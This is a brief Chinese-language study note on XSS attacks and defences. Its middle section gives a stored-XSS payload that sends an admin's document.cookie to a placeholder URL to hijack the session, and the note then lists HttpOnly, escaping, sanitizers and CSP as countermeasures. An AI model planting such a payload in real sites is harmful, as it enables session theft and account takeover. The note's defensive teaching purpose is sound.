---
# System prepended metadata

title: 六、了解並預防 Cross-Site Scripting (XSS) 攻擊

---

# 六、了解並預防 Cross-Site Scripting (XSS) 攻擊

1. XSS 攻擊的基本介紹。
    - XSS (Cross-site scripting): 在可 input 的地方輸入惡意語法竄改程式，用來竊取使用者資料
        - 導向惡意網站
        - 竊取 cookies, 登入資訊
    - SQL Injection: 同上輸入惡意語法，竊取、修改資料庫
2. 實際設計一個 XSS 攻擊情境。
    在一個會紀錄 admin 是否看過留言的論壇網站，透過取得 admin 的 cookie，去得到他的 session 資料，而得以駭入 admin 的帳戶。
     於 user input 輸入：

```
     <script>  var i=new Image; <p>
     i.src="<url>/?"+document.cookie;<p>
    </script>
```

等到下次 admin 登入後，透過 i.src 取得 admin 的 cookie，便可使用 session 的資料偽裝成 admin 登入

3. 根據上述設計的情境，說明開發者該如何預防。
    設定 HttpOnly，阻止 javascript 直接存取 cookie
    1. input Validate >> str(), 禁止輸入符號
    2. escape, encode: 
        - &    "&amp";
        - <    "&lt";
        - >    "&gt";
        - "    "&quot";
        - '    "&#x27";
    3. 使用 Sanitize 套件: HtmlSanitizer for .NET or SanitizeHelper for Ruby on Rails
    4. 使用 CSP
        - 載入來源白名單
        - 禁止 inline 程式碼
        - 禁止 eval 函式
        - 防止 sniffer
    
    資料來源：https://devco.re/blog/2014/04/08/security-issues-of-http-headers-2-content-security-policy/
https://www.acunetix.com/websitesecurity/cross-site-scripting/